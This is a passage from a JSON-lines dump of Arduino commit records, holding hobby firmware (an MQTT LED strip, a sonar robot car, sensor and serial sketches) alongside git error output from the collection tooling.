MQTT\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid callback(char* p_topic, byte* p_payload, unsigned int p_length) { \n String topic(p_topic);\n\n if (topic.equals(MQTT_CMD_TOPIC)) { \n DynamicJsonBuffer dynamicJsonBuffer;\n JsonObject& root = dynamicJsonBuffer.parseObject(p_payload);\n \n \/\/ check if the payload contains a new state\n if (root.containsKey(\"state\")) {\n if (strcmp(root[\"state\"], MQTT_STATE_ON_PAYLOAD) == 0) {\n if (ws2812fx.isRunning() == false) {\n if (rgbw.isWhiteSelected == true) {\n rgbw.white = PWM_MAX;\n }\n\n ws2812fx.start();\n newStateToPublish = true;\n }\n } else if (strcmp(root[\"state\"], MQTT_STATE_OFF_PAYLOAD) == 0) {\n if (ws2812fx.isRunning() == true) {\n if (rgbw.isWhiteSelected == true) {\n rgbw.white = PWM_MIN;\n }\n \n ws2812fx.stop();\n newStateToPublish = true;\n }\n }\n }\n\n \/\/ check if the payload contains a new color value\n if (root.containsKey(\"color\")) {\n uint8_t red = root[\"color\"][\"r\"];\n uint8_t green = root[\"color\"][\"g\"];\n uint8_t blue = root[\"color\"][\"b\"];\n \n if ((red >= PWM_MIN || red <= PWM_MAX) && (green >= PWM_MIN || green <= PWM_MAX) && (blue >= PWM_MIN || blue <= PWM_MAX)) {\n rgbw.white = PWM_MIN;\n rgbw.isWhiteSelected = false;\n ws2812fx.setColor(red, green, blue);\n newStateToPublish = true;\n }\n }\n \n \/\/ check if the payload contains a new brightness value\n if (root.containsKey(\"brightness\")) {\n uint8_t brightness = root[\"brightness\"];\n \n if (brightness >= PWM_MIN || brightness <= PWM_MAX) {\n rgbw.brightness = brightness;\n newStateToPublish = true;\n }\n }\n\n \/\/ check if the payload contains a new white value\n if (root.containsKey(\"white_value\")) {\n uint8_t white_value = root[\"white_value\"];\n \n if (white_value >= PWM_MIN || white_value <= PWM_MAX) {\n rgbw.white = PWM_MAX;\n rgbw.brightness = white_value;\n rgbw.isWhiteSelected = true;\n ws2812fx.setColor(0, 0, 0); \n newStateToPublish = true;\n }\n }\n }\n}\n\nvoid sendState(void) {\n DynamicJsonBuffer dynamicJsonBuffer;\n JsonObject& root = dynamicJsonBuffer.createObject();\n root[\"state\"] = ws2812fx.isRunning() ? MQTT_STATE_ON_PAYLOAD : MQTT_STATE_OFF_PAYLOAD;\n root[\"brightness\"] = rgbw.brightness;\n JsonObject& color = root.createNestedObject(\"color\");\n color[\"r\"] = rgbw.red;\n color[\"g\"] = rgbw.green;\n color[\"b\"] = rgbw.blue;\n root[\"white_value\"] = rgbw.white == 0 ? 0 : rgbw.brightness;\n\n char tmp[128] = {0};\n root.printTo(tmp);\n mqttClient.publish(MQTT_STATE_TOPIC, tmp);\n}\n\nbool reconnect() {\n if (mqttClient.connect(DEVICE_NAME, MQTT_USERNAME, MQTT_PASSWORD, MQTT_AVAILABILITY_TOPIC, 0, 1, \"offline\")) {\n mqttClient.subscribe(MQTT_CMD_TOPIC);\n mqttClient.publish(MQTT_AVAILABILITY_TOPIC, \"online\");\n\n sendState();\n }\n return mqttClient.connected();\n}\n\nvoid setupMQTT(void) {\n mqttClient.setServer(MQTT_SERVER, MQTT_SERVER_PORT);\n mqttClient.setCallback(callback);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ WIFI\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid setupWiFi(void) {\n Serial.print(\"Connecting to \");\n Serial.println(WIFI_SSID);\n \n WiFi.mode(WIFI_STA);\n WiFi.begin(WIFI_SSID, WIFI_PASSWORD);\n \n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n\n randomSeed(micros());\n\n Serial.println(\"\");\n Serial.println(\"WiFi connected\");\n Serial.println(\"IP address: \");\n Serial.println(WiFi.localIP());\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ SETUP and LOOP\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid setup() {\n Serial.begin(115200);\n delay(10);\n\n setupWiFi();\n\n setupMQTT();\n\n setupLight();\n \n ArduinoOTA.begin();\n}\n\n\nvoid loop() {\n if (!mqttClient.connected()) {\n long now = millis();\n if (now - lastReconnectAttempt > 5000) {\n lastReconnectAttempt = now;\n if (reconnect())\n lastReconnectAttempt = 0;\n }\n } else {\n mqttClient.loop();\n }\n \n ws2812fx.service();\n \n yield();\n\n if (newStateToPublish) {\n newStateToPublish = false;\n sendState(); \n }\n\n yield();\n \n ArduinoOTA.handle();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ha_mqtt_light_arilux\/ha_mqtt_light_arilux.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d79487440a06f477b54fc268067f6798db22bb9a","subject":"Add media keys","message":"Add media keys\n","repos":"mvines\/futboard","old_file":"gen3\/gen3.ino","new_file":"gen3\/gen3.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mvines\/futboard.git\/'\n","license":"unlicense","lang":"Arduino"} {"commit":"5277d9cad48435baa00d52d60e9b245042ccc3ae","subject":"just another git test","message":"just another git test\n","repos":"mule-ear\/shiny-spice,mule-ear\/shiny-spice,mule-ear\/shiny-spice","old_file":"SevSegmentDriver9.ino","new_file":"SevSegmentDriver9.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mule-ear\/shiny-spice.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"78d13feec90ce5c462f2e557f67e765539d05355","subject":"Adding an example for DC Motor Driver","message":"Adding an example for DC Motor Driver\n","repos":"kigster\/BackSeatDriver,kigster\/back-seat-driver","old_file":"libraries\/BackSeatDriver_DCMotorAdapter\/examples\/Racer\/Racer.ino","new_file":"libraries\/BackSeatDriver_DCMotorAdapter\/examples\/Racer\/Racer.ino","new_contents":"\/*\n * This example uses HC-SR04 distance sensor to detect obstacles and change course.\n *\n * Dependencies:\n * Wire\n * Adafruit_Motor_Shield_V2_Library\n * BackSeatDriver\n * BackSeatDriver_DCMotorAdapter\n * NewPing\n *\n * Created on: Jul 17, 2014\n *\n * Author: Konstantin Gredeskoul\n *\n * \u00a9 2014 All rights reserved. Please see LICENSE.\n *\n *\/\n\n#include <NewPing.h>\n\n#define TRIGGER_PIN 13 \/\/ Arduino pin tied to trigger pin on the ultrasonic sensor.\n#define ECHO_PIN 12 \/\/ Arduino pin tied to echo pin on the ultrasonic sensor.\n#define MAX_DISTANCE 100 \/\/ Maximum distance we want to ping for (in centimeters). Maximum sensor distance is rated at 400-500cm.\n\nNewPing sonar(TRIGGER_PIN, ECHO_PIN, MAX_DISTANCE);\n\n#include <BackSeatDriver_DCMotorAdapter.h>\n#include <BackSeatDriver.h>\n\nsigned short motorLayout[] = { 1, -2, -3, 4};\nuint8_t ledPin1 = 4, ledPin2 = 11, ledPin3 = 8;\n\n#define OBSTACLE_DISTANCE_TURN 40\n#define OBSTACLE_DISTANCE_SLOWDOWN 70\n\n\nBackSeatDriver_DCMotorAdapter *adapter;\nBackSeatDriver *bot;\n\nbool running = true, led1 = false, led2 = false, led3 = false;\n\nstatic uint8_t speed = 100;\nstatic unsigned int spaceAfterTurn;\nstatic unsigned int lastSpaceAhead = 0, x = 0, maneuverSpaceAhead;\nstatic const uint8_t sonarCheckPeriodMs = 30; \/\/ don't check more often than that\nstatic unsigned short lastSonarAtMs = 0;\n\n\/\/ speed can go up to 255\nstatic uint32_t startMs = 0;\nstatic const bool debug = true;\n\nchar buffer[128];\n\n\/\/ blinky shit\n\nvoid light1(bool on) {\n\tled1 = on;\n\tled1 ? digitalWrite(ledPin1, HIGH) : digitalWrite(ledPin1, LOW);\n}\nvoid light2(bool on) {\n\tled2 = on;\n\tled2 ? digitalWrite(ledPin2, HIGH) : digitalWrite(ledPin2, LOW);\n}\nvoid light3(bool on) {\n\tled3 = on;\n\tled3 ? digitalWrite(ledPin3, HIGH) : digitalWrite(ledPin3, LOW);\n}\n\nvoid blink1() {\n\tlight1(!led1);\n}\n\nvoid blink2() {\n\tlight2(!led2);\n}\n\nvoid blink3() {\n\tlight3(!led3);\n}\n\n\/\/_______________________________________________________________________\n\/\/\n\/\/ Sonar Navigation\n\nunsigned int spaceAhead() {\n\tif (millis() > sonarCheckPeriodMs + lastSonarAtMs) {\n\t\tlastSonarAtMs = millis();\n\t\tunsigned int value = sonar.ping() \/ US_ROUNDTRIP_CM;\n\t\tif (debug && value > 0 && value < OBSTACLE_DISTANCE_SLOWDOWN) {\n\t\t\tsprintf(buffer, \"spaceAhead is %d\", value);\n\t\t\tbot->log(buffer);\n\t\t}\n\t\tlastSpaceAhead = (value == 0) ? MAX_DISTANCE : value;\n\t}\n\treturn lastSpaceAhead;\n}\n\nbool navigateWithSonar() {\n\tint distance = spaceAhead();\n\tmaneuverSpaceAhead = 0;\n\tif (distance <= OBSTACLE_DISTANCE_TURN) {\n\t\tturnAndCheck();\n\t\tmaneuverSpaceAhead = distance;\n\t\tlight1(true);\n\t\tlight2(true);\n\t\tlight3(false);\n\t\treturn true;\n\t} else if (distance > OBSTACLE_DISTANCE_TURN\n\t\t\t&& distance < OBSTACLE_DISTANCE_SLOWDOWN) {\n\t\t\/\/ reduce speed\n\t\tspeed = 100 - (OBSTACLE_DISTANCE_SLOWDOWN - distance) \/ 2;\n\t\tlight1(true);\n\t\tlight2(false);\n\t\tlight3(false);\n\t} else if (distance >= OBSTACLE_DISTANCE_SLOWDOWN) {\n\t\tspeed = 100;\n\t\tlight1(false);\n\t\tlight2(false);\n\t}\n\treturn false;\n}\n\nvoid turnAndCheck() {\n\tsigned short angle = (rand() % 2 == 1) ? 45 : -45;\n\tbot->turn(angle, &checkOnce);\n}\n\nvoid checkOnce(uint8_t type, signed short parameter) {\n\tsigned short angle = (parameter == -45) ? 90 : -90;\n\tspaceAfterTurn = spaceAhead();\n\tif (spaceAfterTurn < maneuverSpaceAhead)\n\t\tbot->turn(angle, &checkTwice);\n}\n\nvoid checkTwice(uint8_t type, signed short parameter) {\n\tsigned short angle = (parameter == -90) ? -135 : 135;\n\tspaceAfterTurn = spaceAhead();\n\tif (spaceAfterTurn < maneuverSpaceAhead)\n\t\tbot->turn(angle, NULL);\n}\n\nvoid leftTurn90(uint8_t type, signed short parameter) \t{\n\tdelay(1000); bot->turn(-90, &rightTurn90);\n}\nvoid rightTurn90(uint8_t type, signed short parameter)\t{\n\tdelay(1000); bot->turn( 90, &leftTurn90);\n}\nvoid goBack() {\n\tbot->goBackward(70, 600, &turnAround);\n}\nvoid turnAround(uint8_t type, signed short parameter) {\n\tbot->turn(180, NULL);\n}\n\n\/\/______________________________________________________________\n\nvoid setup() {\n\tSerial.begin(9600);\n\tSerial.println(\"Racer Starting...\");\n\tsrand(millis());\n\n\tpinMode(ledPin1, OUTPUT);\n\tpinMode(ledPin2, OUTPUT);\n\tpinMode(ledPin3, OUTPUT);\n\n\tadapter = new BackSeatDriver_DCMotorAdapter(4, motorLayout);\n\n\tbot = new BackSeatDriver(adapter);\n\tbot->attach();\n\tbot->debug(true);\n\tbot->setMovingSpeedPercent(70);\n\tbot->setTurningDelayCoefficient(6);\n\tbot->setTurningSpeedPercent(70);\n\n\tstartMs = millis();\n\n}\n\nvoid loop() {\n\tif (!bot->isManeuvering() && running) {\n\t\tlight3(true);\n\t\tbot->goForward(speed);\n\t\tnavigateWithSonar();\n\t}\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'libraries\/BackSeatDriver_DCMotorAdapter\/examples\/Racer\/Racer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a2b758ad073d03850beab439adfe3c649d592dfa","subject":"reverted to original arduino controller","message":"reverted to original arduino controller\n","repos":"ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha","old_file":"nduino\/src\/src.ino","new_file":"nduino\/src\/src.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ekwoodrich\/nirha.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"7e07a954a2e2d6bf5d955dd1a37728c5516f3046","subject":"DateTime tests","message":"DateTime tests\n","repos":"wmadill\/grant-lighting,wmadill\/grant-lighting","old_file":"jeenode\/tests\/dt\/dt.ino","new_file":"jeenode\/tests\/dt\/dt.ino","new_contents":"\/**\n * Modified version of jcw \"datecalc\" example sketch in the RTClib directory.\n * Used to test various date calculations.\n *\n * Original sketch:\n * 2010-02-04 <jc@wippler.nl> http:\/\/opensource.org\/licenses\/mit-license.php\n * Modifications\n * 2015-08-15 <bill@jamimi.com> http:\/\/opensource.org\/licenses\/mit-license.php\n *\/\n\n#include <Wire.h>\n#include <RTClib.h>\n\nvoid showDate(const char* txt, const DateTime& dt) {\n Serial.print(txt);\n Serial.print(' ');\n Serial.print(dt.year(), DEC);\n Serial.print('\/');\n Serial.print(dt.month(), DEC);\n Serial.print('\/');\n Serial.print(dt.day(), DEC);\n Serial.print(' ');\n Serial.print(dt.hour(), DEC);\n Serial.print(':');\n Serial.print(dt.minute(), DEC);\n Serial.print(':');\n Serial.print(dt.second(), DEC);\n \n Serial.print(\" = \");\n Serial.print(dt.get());\n Serial.print(\"s \/ \");\n Serial.print(dt.get() \/ 86400L);\n Serial.print(\"d since 2000\");\n \n Serial.println();\n}\n\nvoid setup () {\n Serial.begin(57600);\n \n DateTime dtn (__DATE__, __TIME__);\n showDate(\"dtn\", dtn);\n\n DateTime dtn1 (dtn.year(), dtn.month(), dtn.day(), dtn.hour(), dtn.minute() + 1, 0);\n showDate(\"dtn1\", dtn1);\n\n DateTime dtn2 (dtn.get() + 30);\n showDate(\"dtn2\", dtn2);\n\n DateTime dt0 (0, 1, 1);\n showDate(\"dt0\", dt0);\n\n DateTime dt1 (1, 1, 1);\n showDate(\"dt1\", dt1);\n\n DateTime dt2 (2009, 1, 1, 0, 0, 0);\n showDate(\"dt2\", dt2);\n\n DateTime dt3 (2009, 1, 2, 0, 0, 0);\n showDate(\"dt3\", dt3);\n\n DateTime dt4 (2009, 1, 27, 0, 0, 0);\n showDate(\"dt4\", dt4);\n\n DateTime dt5 (2009, 2, 27, 0, 0, 0);\n showDate(\"dt5\", dt5);\n\n DateTime dt6 (2009, 12, 27, 0, 0, 0);\n showDate(\"dt6\", dt6);\n\n DateTime dt7 = dt6.get() + 3600; \/\/ one hour later\n showDate(\"dt7\", dt7);\n\n DateTime dt8 = dt6.get() + 86400L; \/\/ one day later\n showDate(\"dt8\", dt8);\n\n DateTime dt9 = dt6.get() + 7 * 86400L; \/\/ one week later\n showDate(\"dt9\", dt9);\n}\n\nvoid loop () {\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'jeenode\/tests\/dt\/dt.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bc791fab96396bcd91ada529af8b10c1f034c7ab","subject":"first commit","message":"first commit\n","repos":"st3rk\/Cheap_WSN","old_file":"Temp_probe.ino","new_file":"Temp_probe.ino","new_contents":"#include <DHT.h>\n#include <avr\/sleep.h>\n#include <avr\/power.h>\n#include <avr\/wdt.h>\n\n#define DHTPIN 2\n#define DHTTYPE DHT11\n#define DHTALIM 3\n#define TRANSCEIVERALIM 4\n\nDHT dht(DHTPIN, DHTTYPE);\n\nint f_wdt=1;\nint sleep_count=0;\nint ack=0;\n\nvoid setup() {\n Serial.begin(9600);\n dht.begin();\n pinMode(DHTALIM, OUTPUT);\n pinMode(TRANSCEIVERALIM, OUTPUT);\n \n \/* Clear the reset flag. *\/\n MCUSR &= ~(1<<WDRF);\n \n \/* In order to change WDE or the prescaler, we need to\n * set WDCE (This will allow updates for 4 clock cycles).\n *\/\n WDTCSR |= (1<<WDCE) | (1<<WDE);\n\n \/* set new watchdog timeout prescaler value *\/\n WDTCSR = 1<<WDP0 | 1<<WDP3; \/* 8.0 seconds *\/\n \n \/* Enable the WD interrupt (note no reset). *\/\n WDTCSR |= _BV(WDIE);\n}\n\nvoid loop() {\n if((f_wdt == 1) && (sleep_count >= 0))\n {\n \n Serial.println(\"UP!\");\n\n digitalWrite(DHTALIM, HIGH);\n digitalWrite(TRANSCEIVERALIM, HIGH);\n delay(3000);\n \n float h = dht.readHumidity();\n float t = dht.readTemperature();\n byte h_b;\n byte t_b;\n h_b = (byte) h;\n t_b = (byte) t;\n \n digitalWrite(DHTALIM, LOW);\n \n if (isnan(h) || isnan(t)) {\n Serial.println(\"Failed to read from DHT sensor!\");\n }\n else {\n while (sendData(t_b, h_b) != 69)\n {\n delay(50);\n }\n }\n digitalWrite(TRANSCEIVERALIM, LOW);\n\n \/* Don't forget to clear the flag. *\/\n f_wdt = 0;\n \n sleep_count = 0;\n \n \/* Re-enter sleep mode. *\/\n Serial.println(\"go back to sleep\");\n delay(50);\n enterSleep();\n }\n else if(f_wdt == 1)\n {\n sleep_count++;\n f_wdt = 0;\n enterSleep();\n }\n else\n {\n \/* Do nothing. *\/\n }\n}\n\nISR(WDT_vect)\n{\n if(f_wdt == 0)\n {\n f_wdt=1;\n }\n else\n {\n Serial.println(\"WDT Overrun!!!\");\n }\n}\n\nvoid enterSleep(void)\n{\n Serial.println(\"zzzzzz\");\n delay(50);\n set_sleep_mode(SLEEP_MODE_PWR_DOWN); \/* EDIT: could also use SLEEP_MODE_PWR_DOWN for lowest power consumption. *\/\n sleep_enable();\n \n \/* Now enter sleep mode. *\/\n sleep_mode();\n \n \/* The program will continue from here after the WDT timeout*\/\n sleep_disable(); \/* First thing to do is disable sleep. *\/\n \n \/* Re-enable the peripherals. *\/\n power_all_enable();\n}\n\nint sendData(int temp, int hum)\n{\n ack = 0;\n \/\/dummy bytes\n Serial.write(169);\n Serial.write(244);\n Serial.write(190);\n \/\/humidity\n Serial.write(hum);\n \/\/255 - humidity\n Serial.write(255-hum);\n \/\/temperature + 25\n \/\/(temperature can be negative)\n Serial.write(temp+25);\n \/\/230 - temperature\n Serial.write(255-temp);\n \/\/for redunduncy, temperature + humidity\n Serial.write(hum+temp);\n \/\/temperature + humidity - 255\n Serial.write(hum+temp);\n \/\/dummy bytes\n Serial.write(190);\n Serial.write(244);\n Serial.write(169);\n delay(200);\n if (Serial.available() > 0) {\n ack=Serial.read();\n }\n else {\n ack=0;\n }\n return ack;\n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"7170840b5114104bf8e0b3dc5d6b96b0349e3e21","subject":"Initial commit: basic Arduino firmware with identification command","message":"Initial commit: basic Arduino firmware with identification command\n","repos":"gmazzamuto\/MAX1464-Arduino-library,gmazzamuto\/MAX1464-Arduino-library","old_file":"firmware\/firmware.ino","new_file":"firmware\/firmware.ino","new_contents":"\/*\n MAX1464 library for Arduino\n Copyright (C) 2016 Giacomo Mazzamuto <gmazzamuto@gmail.com>\n\n This library is free software; you can redistribute it and\/or\n modify it under the terms of the GNU Lesser General Public\n License as published by the Free Software Foundation; either\n version 2.1 of the License, or (at your option) any later version.\n\n This library is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n Lesser General Public License for more details.\n\n You should have received a copy of the GNU Lesser General Public\n License along with this library. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\nString inputString = \"\"; \/\/ a string to hold incoming data\nboolean stringComplete = false; \/\/ whether the string is complete\n\nvoid printIden() {\n Serial.println(\"Arduino MAX1464 Serial Terminal\");\n}\n\nvoid setup() {\n \/\/ initialize serial:\n Serial.begin(115200);\n printIden();\n \/\/ reserve 200 bytes for the inputString:\n inputString.reserve(200);\n}\n\n\/*\n SerialEvent occurs whenever a new data comes in the\n hardware serial RX. This routine is run between each\n time loop() runs, so using delay inside loop can delay\n response. Multiple bytes of data may be available.\n *\/\nvoid serialEvent() {\n while (Serial.available()) {\n \/\/ get the new byte:\n char inChar = (char)Serial.read();\n \/\/ if the incoming character is a newline, set a flag\n \/\/ so the main loop can do something about it:\n if (inChar == '\\n') {\n stringComplete = true;\n }\n else {\n \/\/ add it to the inputString:\n inputString += inChar;\n }\n }\n}\n\nvoid loop() {\n if (stringComplete) {\n inputString.toUpperCase();\n if(String(\"IDEN\").startsWith(inputString)) {\n printIden();\n }\n else {\n Serial.print(\"Unknown input string: \");\n Serial.println(inputString);\n }\n\n \/\/ clear the string:\n inputString = \"\";\n stringComplete = false;\n }\n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"a3cc1392cb29dbc0adfa8e8c525df297ea93f93d","subject":"Arduino code. Run before the Python file.","message":"Arduino code. Run before the Python file.","repos":"ASKondrath\/Fetch-Bot","old_file":"readFromSerial.ino","new_file":"readFromSerial.ino","new_contents":"void setup() {\n \/\/ initialize serial communication:\n Serial.begin(9600); \n \/\/ initialize the LED pins:\n for (int thisPin = 2; thisPin < 6; thisPin++) {\n pinMode(thisPin, OUTPUT);\n } \n \n for (int thisPin = 2; thisPin < 6; thisPin++) {\n digitalWrite(thisPin, HIGH);\n }\n \n}\n\nvoid loop() {\n \/\/ read the sensor:\n if (Serial.available() > 0) {\n int inByte = Serial.read();\n \/\/ do something different depending on the character received. \n \/\/ The switch statement expects single number values for each case;\n \/\/ in this exmaple, though, you're using single quotes to tell\n \/\/ the controller to get the ASCII value for the character. For \n \/\/ example 'a' = 97, 'b' = 98, and so forth:\n\n \/\/ car controls \n \/\/ 2 = forward\n \/\/ 3 = backward\n \/\/ 4 = left\n \/\/ 5 = right\n \n switch (inByte) {\n \n case 'a': \/\/forward\n \/\/ turn all the LEDs off:\n\/\/ for (int thisPin = 2; thisPin < 6; thisPin++) {\n\/\/ digitalWrite(thisPin, HIGH);\n\/\/ }\n for (int thisPin = 4; thisPin < 6; thisPin++) {\n digitalWrite(thisPin, HIGH);\n }\n digitalWrite(2, LOW);\n break;\n \n case 'b': \/\/backward\n\/\/ for (int thisPin = 2; thisPin < 6; thisPin++) {\n\/\/ digitalWrite(thisPin, HIGH);\n\/\/ }\n for (int thisPin = 4; thisPin < 6; thisPin++) {\n digitalWrite(thisPin, HIGH);\n }\n digitalWrite(3, LOW);\n break;\n \n case 'c': \/\/forward left\n\/\/ for (int thisPin = 2; thisPin < 6; thisPin++) {\n\/\/ digitalWrite(thisPin, HIGH);\n\/\/ }\n digitalWrite(5, HIGH);\n\/\/ delay(50);\n digitalWrite(4, LOW);\n delay(100);\n digitalWrite(2, LOW);\n break;\n \n case 'd': \/\/forward right\n\/\/ for (int thisPin = 2; thisPin < 6; thisPin++) {\n\/\/ digitalWrite(thisPin, HIGH);\n\/\/ }\n digitalWrite(4, HIGH);\n\/\/ delay(50);\n digitalWrite(5, LOW);\n delay(100);\n digitalWrite(2, LOW);\n break;\n case 'e': \/\/backward left\n\/\/ for (int thisPin = 2; thisPin < 6; thisPin++) {\n\/\/ digitalWrite(thisPin, HIGH);\n\/\/ }\n digitalWrite(5, HIGH);\n digitalWrite(4, LOW);\n delay(100);\n digitalWrite(3, LOW);\n break;\n \n case 'f': \/\/backward right\n\/\/ for (int thisPin = 2; thisPin < 6; thisPin++) {\n\/\/ digitalWrite(thisPin, HIGH);\n\/\/ }\n digitalWrite(4, HIGH);\n digitalWrite(5, LOW);\n delay(100);\n digitalWrite(3, LOW);\n break;\n default:\n \/\/ turn all the LEDs off:\n for (int thisPin = 2; thisPin < 6; thisPin++) {\n digitalWrite(thisPin, HIGH);\n }\n }\n delay(400);\n for (int thisPin = 2; thisPin < 4; thisPin++) {\n digitalWrite(thisPin, HIGH);\n\/\/ for (int thisPin = 2; thisPin < 6; thisPin++) {\n\/\/ digitalWrite(thisPin, HIGH);\n \/\/delay(100);\n } \n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'readFromSerial.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1ad79fc6b20258cf03c2c2cd7b6835ee84ae4aec","subject":"Corre\u00e7\u00e3o de bugs Gateway","message":"Corre\u00e7\u00e3o de bugs Gateway\n\nGateway deveria jogar na sa\u00edda serial 7 valores, por\u00e9m estava com apenas 6\n","repos":"antoniorafaelbraga\/smartbee,alissonlimasilva\/smartbee,antoniorafaelbraga\/smartbee,alissonlimasilva\/smartbee,antoniorafaelbraga\/smartbee","old_file":"Arduino sketchs\/Reformula\u00e7\u00e3o\/gateway\/gateway.ino","new_file":"Arduino sketchs\/Reformula\u00e7\u00e3o\/gateway\/gateway.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'sketchs\/Reformula\u00e7\u00e3o\/gateway\/gateway.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cf52744a2ce0b523eb083a0474a196ac01134c9f","subject":"Json decode's test in Arduino","message":"Json decode's test in Arduino\n","repos":"synyster0fa7x\/csgo-gsi-to-arduino,synyster0fa7x\/csgo-gsi-to-arduino","old_file":"arduino\/sketch.ino","new_file":"arduino\/sketch.ino","new_contents":"#include <ArduinoJson.h>\n \n#define REDPIN 5\n#define GREENPIN 6\n#define BLUEPIN 3\n#define BUFFER_SIZE 500\n#define BAUD_RATE 9600\n\nvoid setup() {\n\tinitSerial();\n\tpinMode(REDPIN, OUTPUT);\n\tpinMode(GREENPIN, OUTPUT);\n\tpinMode(BLUEPIN, OUTPUT);\n}\n\nvoid loop() {\n\tStaticJsonBuffer<200> jsonBuffer;\n\n\tchar json[] = \"{\\\"round\\\": {\\\"phase\\\": \\\"live\\\",\\\"bomb\\\": \\\"planted\\\"}}\";\n\tJsonObject& root = jsonBuffer.parseObject(json);\n\t\n\tif (!root.success()) {\n\t\tSerial.println(\"parseObject() failed\");\n\t\treturn;\n\t}\n\n\tconst char* bombStatus = root[\"round\"][\"bomb\"];\n\tif(bombStatus == \"planted\") {\n\n\t}\n\t\n\tSerial.println(bombStatus);\n}\n\nvoid initSerial() {\n\tSerial.begin(BAUD_RATE);\n\twhile (!Serial) {\n\t ; \n\t}\n\tSerial.println(\"Serial ready\");\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/sketch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7cb18ee80e797c0861dada06c35386be69750d40","subject":"Transmit Updated","message":"Transmit Updated\n","repos":"suoglu\/RGB_data_transfer,suoglu\/RGB_data_transfer","old_file":"transmit\/transmit.ino","new_file":"transmit\/transmit.ino","new_contents":"#include <Adafruit_TCS34725.h>\n\nAdafruit_TCS34725 tcs = Adafruit_TCS34725(TCS34725_INTEGRATIONTIME_2_4MS, TCS34725_GAIN_4X);\nuint16_t red, green, blue, c, ered, egreen, eblue;\nint r = 2;\nint g = 3;\nint b = 4;\nint ledState = LOW;\nint initDelay = 500;\nint i = 0;\n\n\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n\n pinMode(r, OUTPUT);\n pinMode(g, OUTPUT);\n pinMode(b, OUTPUT);\n Serial.begin(250000);\n\n if (tcs.begin()) {\n Serial.println(\"Found sensor\");\n } else {\n Serial.println(\"Cannot find sensor\");\n while (1);\n }\n tcs.getRawData(&ered, &egreen, &eblue, &c); \/\/store environment values\n\n}\n\nvoid loop()\n{\n \/\/ put your 